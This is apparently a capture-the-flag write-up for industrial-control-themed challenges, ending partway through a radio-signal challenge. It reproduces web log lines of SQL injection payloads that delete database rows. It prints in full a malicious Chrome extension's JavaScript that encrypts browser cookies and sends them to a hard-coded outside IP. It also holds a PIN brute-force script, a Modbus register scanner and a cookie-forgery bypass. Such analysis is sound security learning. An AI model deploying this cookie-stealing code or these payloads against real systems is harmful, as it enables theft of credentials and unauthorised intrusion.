192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742323937%27%20as%20TEXT)%3B--&Submit=Submit" 500 223 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745383138%27%20as%20TEXT)%3B--&Submit=Submit" 500 214 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743313236%27%20as%20TEXT)%3B--&Submit=Submit" 500 253 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744343736%27%20as%20TEXT)%3B--&Submit=Submit" 500 220 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741363837%27%20as%20TEXT)%3B--&Submit=Submit" 500 206 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741323639%27%20as%20TEXT)%3B--&Submit=Submit" 500 217 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743383030%27%20as%20TEXT)%3B--&Submit=Submit" 500 261 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742373337%27%20as%20TEXT)%3B--&Submit=Submit" 500 227 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333833%27%20as%20TEXT)%3B--&Submit=Submit" 500 225 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745393537%27%20as%20TEXT)%3B--&Submit=Submit" 500 217 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743353132%27%20as%20TEXT)%3B--&Submit=Submit" 500 238 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742343630%27%20as%20TEXT)%3B--&Submit=Submit" 500 256 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741363331%27%20as%20TEXT)%3B--&Submit=Submit" 500 259 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745373039%27%20as%20TEXT)%3B--&Submit=Submit" 500 257 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393039%27%20as%20TEXT)%3B--&Submit=Submit" 500 236 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745363137%27%20as%20TEXT)%3B--&Submit=Submit" 500 271 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742353137%27%20as%20TEXT)%3B--&Submit=Submit" 500 295 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313232%27%20as%20TEXT)%3B--&Submit=Submit" 500 224 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745353438%27%20as%20TEXT)%3B--&Submit=Submit" 500 281 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313839%27%20as%20TEXT)%3B--&Submit=Submit" 500 272 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742353933%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742373738%27%20as%20TEXT)%3B--&Submit=Submit" 500 227 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745373431%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333433%27%20as%20TEXT)%3B--&Submit=Submit" 500 283 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741393037%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745333439%27%20as%20TEXT)%3B--&Submit=Submit" 500 275 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742373530%27%20as%20TEXT)%3B--&Submit=Submit" 500 275 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743363135%27%20as%20TEXT)%3B--&Submit=Submit" 500 267 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745323330%27%20as%20TEXT)%3B--&Submit=Submit" 500 259 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742393736%27%20as%20TEXT)%3B--&Submit=Submit" 500 213 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745313538%27%20as%20TEXT)%3B--&Submit=Submit" 500 227 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744383233%27%20as%20TEXT)%3B--&Submit=Submit" 500 201 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743373635%27%20as%20TEXT)%3B--&Submit=Submit" 500 266 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742383236%27%20as%20TEXT)%3B--&Submit=Submit" 500 295 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742333237%27%20as%20TEXT)%3B--&Submit=Submit" 500 230 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333737%27%20as%20TEXT)%3B--&Submit=Submit" 500 211 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393639%27%20as%20TEXT)%3B--&Submit=Submit" 500 255 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745323335%27%20as%20TEXT)%3B--&Submit=Submit" 500 236 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313237%27%20as%20TEXT)%3B--&Submit=Submit" 200 1299 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744393833%27%20as%20TEXT)%3B--&Submit=Submit" 500 289 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745363933%27%20as%20TEXT)%3B--&Submit=Submit" 500 283 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743383238%27%20as%20TEXT)%3B--&Submit=Submit" 500 272 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744383232%27%20as%20TEXT)%3B--&Submit=Submit" 500 247 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393639%27%20as%20TEXT)%3B--&Submit=Submit" 200 1295 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745383534%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744383131%27%20as%20TEXT)%3B--&Submit=Submit" 500 242 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333436%27%20as%20TEXT)%3B--&Submit=Submit" 500 299 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313337%27%20as%20TEXT)%3B--&Submit=Submit" 500 235 "http://jubilifehistorian/alarms.php"
A quick skim looking at these shows that most of them are receiving 500s. However, there are 2 with a 200 response:
192.168.4.146 – “GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313237%27%20as%20TEXT)%3B–&Submit=Submit” 200 1299 “http://jubilifehistorian/alarms.php”
192.168.4.146 – “GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393639%27%20as%20TEXT)%3B–&Submit=Submit” 200 1295 “http://jubilifehistorian/alarms.php”
There are some longer hex-looking values in there, decoding them to text gives us:
42313237
converts toB127
43393639
converts toC969
And those are the answers!
Chrome-Plated Nonsense
Chrome-Plated Nonsense – 1
The file is located here: https://drive.google.com/file/d/1KrB00vXEALmmvihV1SRbYWxXcUqVtEPm/view?usp=drive_link
I know nothing about chrome extensions but I looked for a CRX viewer online and was able to drop this in:
From here, we can see the JS which includes the IP and port of exfiltration!
Chrome-Plated Nonsense – 2
This one has a relatively more complex js:
v ar destination = "http://192.88.99.24:8080/"
// serializeCookie converts a cookie to string form
function serializeCookie(cookie) {
output = "[" + cookie.domain + "," + cookie.expirationDate + "," + cookie.hostOnly + ",";
output += cookie.httpOnly + "," + cookie.name + "," + cookie.path + ",";
output += cookie.sameSite + "," + cookie.secure + "," + cookie.session + ",";
output += cookie.storeId + "," + cookie.value + "]";
return output
}
// sendCookie serializes, encrypts, and sends a cookie
function sendCookie(cookie) {
var serializedCookie = "";
var key = [];
var encryptedCookie = [];
var output = "";
var opts = {
'method': 'GET',
'mode': 'no-cors'
};
// Serialize the cookie
serializedCookie += serializeCookie(cookie);
// Get key
chrome.storage.local.get(["id"])
.then((result) => {
var keyString = result.id.slice(0, 4) + result.id.slice(-4, );
key = keyString.split('');
for (var i = 0; i < serializedCookie.length; i++) {
var charCode = serializedCookie.charCodeAt(i) ^ key[i % key.length].charCodeAt(0);
encryptedCookie.push(String.fromCharCode(charCode));
}
output = btoa(encryptedCookie.join(""));
fetch(destination.concat(output), opts);
});
}
// This will execute whenever a cookie is set or removed
chrome.cookies.onChanged.addListener((changeInfo) => {
if (changeInfo.cause == "explicit") {
sendCookie(changeInfo.cookie);
}
});
// This will execute when the extension is first installed
chrome.runtime.onInstalled.addListener(() => {
var opts = {
'method': 'GET',
'mode': 'no-cors'
};
chrome.system.cpu.getInfo((cpuInfo) => {
chrome.system.memory.getInfo((memoryInfo) => {
var info = "timestamp=" + Date.now()
info += ",archName=" + cpuInfo.archName;
info += ",modelName=" + cpuInfo.modelName;
info += ",numOfProcessors=" + cpuInfo.numOfProcessors;
info += ",availableCapacity=" + memoryInfo.availableCapacity
info += ",capacity=" + memoryInfo.capacity;
// Hash code adapted from https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/digest#converting_a_digest_to_a_hex_string
const encoder = new TextEncoder();
const data = encoder.encode(info);
crypto.subtle.digest('SHA-256', data)
.then((digestBuffer) => {
const hashArray = Array.from(new Uint8Array(digestBuffer));
const uniqueId = hashArray.map((b) => b.toString(16)
.padStart(2, '0'))
.join('');
fetch(destination.concat(btoa("id=" + uniqueId + "," + info)), opts);
// Save ID in local storage
chrome.storage.local.set({
id: uniqueId
})
.then(() => {
// do nothing
});
});
});
});
});
The extension file is here: https://drive.google.com/file/d/1dj7etitZ9B4akTYkoc8fjJx5_K6KC-fR/view?usp=sharing
From this, we can see that first we
Total Points for this Section: 1870
Snowpoint
This section was comprised of the following scenarios:
- The Phish Tank – detection and analysis of phishing attacks from Snowpoint’s internal mail server
- CAN You Fix It: Dashboard – analysis of a vehicle’s electronic control unit (ECU)
- CAN You Fix It: Firmware – analysis of an ECU firmware
- Modulation Interpretation Investigation – analysis of wireless protocol traffic
The Phish Tank
The Phish Tank – 1
They start us off with a Malcolm challenge, we can search for SMTP and look for what IPs sent the most or look at subject lines, this lets us get our answer.
The Phish Tank – 2
We can get this again by looking at Malcolm and filtering by the subject line.
From this, we can look at our extracted files from Arkime. I search based on the zeek.uid:
This has the text of:
This gets us our flag.
The Phish Tank – 3a
By looking at that IP we can again find the lookup information to pull the extracted file from SMTP:
I download the file and run binwalk -Me SMTP-FNYyzR1GG2L5WnBFx3-CTN9Fg3Os5dY2dpYJj-20230504181928.docx
to extract any macros or other items of interest.
This found a binary file which was VB. I couldn’t decode it. On looking at the question again, I realized it was a Malcolm question. This just became a question of looking at the traffic from or two an ip in the 10.140.0.0/16 space.
The Phish Tank – 3b
Running strings on this pdf had an interesting section where we can see some embedded JS.
I went and put it in a browser and decoded it as best as I could and got this:
function decodeString(offset) {
return function() {
var r = Array.prototype.slice.call(arguments),
t = r.shift();
return r.reverse().map(function(r, o) {…
undefined
c80ac4f9c2 = (decodeString(1)(33, 137, 150, 151) + 995..toString(36)).toLowerCase() + decodeString(25)(28, 156, 163, 150);
feddc07405 = (decodeString(14)(14, 134) + 30..toString(36)).toLowerCase() +
decodeString(38)(4, 154) +
(1137788359..toString(36)).toLowerCase() +
(16..toString(36)).toLowerCase().split("").map(function(r) {
return String.fromCharCode(r.charCodeAt() + -39)
}).join("") +
decodeString(40)(36, 176, 186, 174, 179) +
(598116..toString(36)).toLowerCase() +
(30..toString(36)).toLowerCase().split("").map(function(r) {
return String.fromCharCode(r.charCodeAt() + -71)
}).join("") +
(921..toString(36)).toLowerCase() +
decodeString(57)(0, 174, 154);
b15d02c677 = (32788..toString(36)).toLowerCase() +
decodeString(56)(25, 198, 194, 201, 196) +
(13..toString(36)).toLowerCase();
"password"
console.log("c80ac4f9c2:", c80ac4f9c2);
console.log("feddc07405:", feddc07405);
console.log("b15d02c677:", b15d02c677);
c80ac4f9c2: username
feddc07405: [email protected]
b15d02c677: password
From this we can see the data would be sent to [email protected]
CAN You Fix It: Dashboard
CAN You Fix It: Dashboard – 1
This challenge gives us an interesting webpage to look at. From it we can see it seems to be listening on port 5020 and there is a field where we can put a pin in.
I looked into some modbus things and saw there were some python libraries for interfacing with it. Unfortunately, I was too greedy and tried to read too many coils and registers and stuff at once. This resulted in me thinking there were no values or the code wasn’t working.
This led me to write a script to bruteforce it….
import asyncio
import aiohttp
from tqdm.asyncio import tqdm_asyncio
from collections import defaultdict
import json
# Constants
URL = "http://challenges.icsjwgctf.com:5000/update_permissions"
DASHBOARD_URL = "http://challenges.icsjwgctf.com:5000/dashboard"
# Headers
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://challenges.icsjwgctf.com:5000",
"Connection": "keep-alive",
"Referer": DASHBOARD_URL,
"Upgrade-Insecure-Requests": "1",
"Sec-GPC": "1",
"DNT": "1",
}
# Cookies
cookies = {
"web": "c2680ace859ea7a827362d1b",
"show_message": "false",
}
async def try_pin(session, pin):
data = {"permission": f"{pin:05d}"}
try:
async with session.post(URL, headers=headers, cookies=cookies, data=data, allow_redirects=False) as response:
content = await response.text()
new_cookies = dict(response.cookies)
headers_without_date = dict(response.headers)
headers_without_date.pop('Date', None) # Remove the 'Date' header
return content, response.status, headers_without_date, new_cookies
except aiohttp.ClientError as e:
print(f"Error occurred for PIN {pin:05d}: {e}")
return None, None, None, None
def get_differences(base, current):
if base == current:
return None
if isinstance(base, dict) and isinstance(current, dict):
return {k: current[k] for k in current if k not in base or base[k] != current[k]}
return current
def hash_dict(d):
return json.dumps(d, sort_keys=True)
async def main():
print("Starting PIN brute force...")
async with aiohttp.ClientSession() as session:
base_content, base_status, base_headers, base_cookies = await try_pin(session, 0)
if base_content is None:
print("Failed to get base response. Exiting.")
return
semaphore = asyncio.Semaphore(80) # Limit concurrent requests
unique_differences = defaultdict(list)
async def process_pin(pin):
async with semaphore:
content, status, headers, new_cookies = await try_pin(session, pin)
if content is None:
return
differences = {
"status": status if status != base_status else None,
"content": get_differences(base_content, content),
"headers": get_differences(base_headers, headers),
"cookies": get_differences(base_cookies, new_cookies)
}
differences = {k: v for k, v in differences.items() if v}
if differences:
diff_key = hash_dict(differences)
unique_differences[diff_key].append(pin)
tasks = [process_pin(pin) for pin in range(100000)]
await tqdm_asyncio.gather(*tasks, total=100000)
print("\nBrute force complete. Unique differences found:")
for i, (diff_key, pins) in enumerate(unique_differences.items(), 1):
print(f"\nUnique Difference Set {i}:")
print(f"PINs: {', '.join(map(str, pins))}")
differences = json.loads(diff_key)
for key, value in differences.items():
print(f"{key.capitalize()}:")
print(value)
print(f"\nTotal number of unique difference sets: {len(unique_differences)}")
if __name__ == "__main__":
asyncio.run(main())
I’m positive this is not the way we were supposed to do it…but it worked.
Later on, I was able to actually write a script which did indeed find the correct value:
from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusException, ModbusIOException
from pymodbus.pdu import ExceptionResponse
def read_single_register(client, reg_type, address):
try:
if reg_type == "input_registers":
result = client.read_input_registers(address, 1)
elif reg_type == "holding_registers":
result = client.read_holding_registers(address, 1)
else:
return None
if isinstance(result, ExceptionResponse):
return None
elif isinstance(result, ModbusIOException):
return None
else:
return result.registers[0] if result.registers else None
except ModbusException:
return None
except Exception:
return None
def read_registers(client, reg_type, address, count):
try:
if reg_type == "coils":
result = client.read_coils(address, count)
elif reg_type == "discrete_inputs":
result = client.read_discrete_inputs(address, count)
elif reg_type == "input_registers":
result = client.read_input_registers(address, count)
elif reg_type == "holding_registers":
result = client.read_holding_registers(address, count)
else:
print(f"Invalid register type: {reg_type}")
return
if isinstance(result, ExceptionResponse):
print(f"Error reading {reg_type} at address {address}: {result}")
elif isinstance(result, ModbusIOException):
print(f"ModbusIOException reading {reg_type} at address {address}: {result}")
else:
if hasattr(result, 'bits'):
print(f"{reg_type.capitalize()} at address {address}: {result.bits[:count]}")
elif hasattr(result, 'registers'):
print(f"{reg_type.capitalize()} at address {address}: {result.registers}")
else:
print(f"Unexpected result type for {reg_type} at address {address}: {type(result)}")
except ModbusException as e:
print(f"Modbus exception occurred while reading {reg_type} at address {address}: {e}")
except Exception as e:
print(f"Unexpected error occurred while reading {reg_type} at address {address}: {e}")
def scan_registers(client, reg_type, start_address, end_address, step=1):
print(f"\nScanning {reg_type} from address {start_address} to {end_address}")
valid_registers = []
for address in range(start_address, end_address + 1, step):
value = read_single_register(client, reg_type, address)
if value is not None:
print(f"Valid {reg_type} found at address {address}: {value}")
valid_registers.append((address, value))
if not valid_registers:
print(f"No valid {reg_type} found in the specified range.")
else:
print(f"Total valid {reg_type} found: {len(valid_registers)}")
return valid_registers
def main():
server_address = 'challenges.icsjwgctf.com'
server_port = 5020
client = ModbusTcpClient(server_address, port=server_port)
try:
if client.connect():
print("Connected to the server successfully.")
# Scan different types of registers with a wider range
scan_registers(client, "input_registers", 0, 65535, step=1)
scan_registers(client, "holding_registers", 0, 65535, step=1)
else:
print("Failed to connect to the server.")
except Exception as e:
print(f"An error occurred: {e}")
finally:
client.close()
print("Connection closed.")
if __name__ == "__main__":
main()
The last value here (39578) was the pin for admin mode. Incidentally, I found that the pin 1234 was the ‘basic’ user pin which caused you to get a cookie called ‘permission’ with the base64 value of ‘basic’. Once I found that, I put in the base64 of ‘administrator’ and it gave me the permissions without the pin. Unfortunately, I needed the PIN to unlock the rest of the challenges….
CAN You Fix It: Dashboard – 2
For this one, we look at the TCM part of the screen:
With admin mode we can see the various values down there. Two panels have 3 things off and 1 thing on (this looks like 0x4a0 and 0x4b2). The other one we see (4d5) seems to be incrementing 1 at a time, so looking at the bottom (ending with 0x1d) we convert that to a decimal number and subtract the listed one from that to get the flag.
CAN You Fix It: Dashboard – 3
This was a similar one, we need to send two messages, one for the windows, the other for the HVAC.
Here are those two screens:
Looking at this, we see some candidates with three fields (0x2b3 and 0x2a7) which have 0xff where lighting is ‘on’, 0x00 for where it is off and 0xb0 for where it is ‘fog lights’. We’re looking for the windows though and it looks like there are 5 windows in an open, open, open, closed, closed state. This seems to align with 0x2e5 (0x00 3 times and 0xff 2 times). We need to set this to all 0xff
For the second part, we look here:
It’s a matter of realizing that 0x6f1 deals with the Universal Climate Control and 0x6c4 deals with the Individual Climate Control. We can determine 6f1 is universal because there is a matching off, off, on pattern for the last 3 bytes. Similarly, if we look at the decimal representation of 0x50 and 0x55 in 6c4 we can see that those are values like 80 and 85 which match the temperatures we’re seeing in ‘Individual’
So the answer to the first part is 2e5:ffffffffff (5 ‘closed’ windows on 0x2e5)
The answer on the second part is: 6c4:4600460046d0 (46 for ’70 degrees’ based on the decimal number, 00 for ‘off’ which matches the 4th byte in the bottom 0x6c4 example), and d0 for ‘Max’ (assuming 00 is off, which we’ve seen before; a0=low, b0=medium, c0=high, d0=max; again based on looking at other data samples in the traffic across different screends).
This makes the final flag: 2e5:ffffffffff;6c4:460046004600d0
CAN You Fix It: Dashboard – 4
This one was a simple one given that I had already realized the ‘permission’ cookie was based on the words ‘basic’, ‘diagnostics’ or ‘administrator’ from the initial homescreen in challenge one where we put in the pin. With the administrator cookie you get the button to see the firmware:
Flag: 1.553c
CAN You Fix It: Firmware
This is the section which got us as a team and what kept us from getting a 100% on the ctf 🙁
CAN You Fix It: Firmware – 1
The file can be found here: https://drive.google.com/file/d/1D7RaGeZLJB3FDb-_VqAwgHv_2hzpCahP/view?usp=sharing
Opening in Ghidra, we can see a larger function here:
It looks like there’s an else if
where if DAT_00104017 == -0x17, then some things will work. It looks like we need to find what to send to make DAT_00104017 have the right value. Most of the other functions don’t have this sort of conditional logic.
The function just above it seems to take the parameter we provide and set the DAT_00104017 variable to it. So to solve this we need to send to ID: 6d2
the value e9
(two’s complement of -0x17).
The flag is: 6d2:e9
CAN You Fix It: Firmware – 2
This one took awhile, eventually I looked at this part:
I assumed this was if you sent a 0x600 CAN ID message you would trigger this FUN_001014ac:
The last function in this list was interesting:
It looks like it turns local_28 (the instruction ID) to 0x3c2; and sends 0x05 0xff 0xff 0x00 0xb0 0xd0 values.
This means the flag is: 3c2:05ffff00b0d0
CAN You Fix It: Firmware – 3
This is the one that got us, this is the one we couldn’t solve….
Turns out it’s a buffer overflow and not some sequence of CAN IDs+Data. 🙁
Modulation Interpretation Investigation
These challenges were based on an SDR capture.
Modulation Interpretation Investigation – 1
With this one, I used GNU Radio Companion because I could not get Inspectrum to install for the life of me. The capture file is here: https://drive.google.com/drive/folders/1muQKk38CaKsPu5XXlAfOhzof1EmAk46M?usp=sharing
With this I set the center frequency at 301 like the prompt said, I then throttled it and displayed a gain vs frequency graph as it played:
The second peak to the right kept popping up and down and it seemed to be at 304.14 or so. The 304.1 worked to solve the challenge.
Modulation Interpretation Investigation – 2
In this one, we are given two more capture files also found here: https://drive.google.com/drive/folders/1muQKk38CaKsPu5XXlAfOhzof1EmAk46M?usp=sharing
I know Universal Radio hacker is good at finding data in audio files so I decided to open that up and was happy right out of the gate.
We can see that there are 5 signal areas in each file which corresponds to when the buttons are being pressed:
When I highlight a section on button one, I get this output:
1011011001001011001011001001001001001
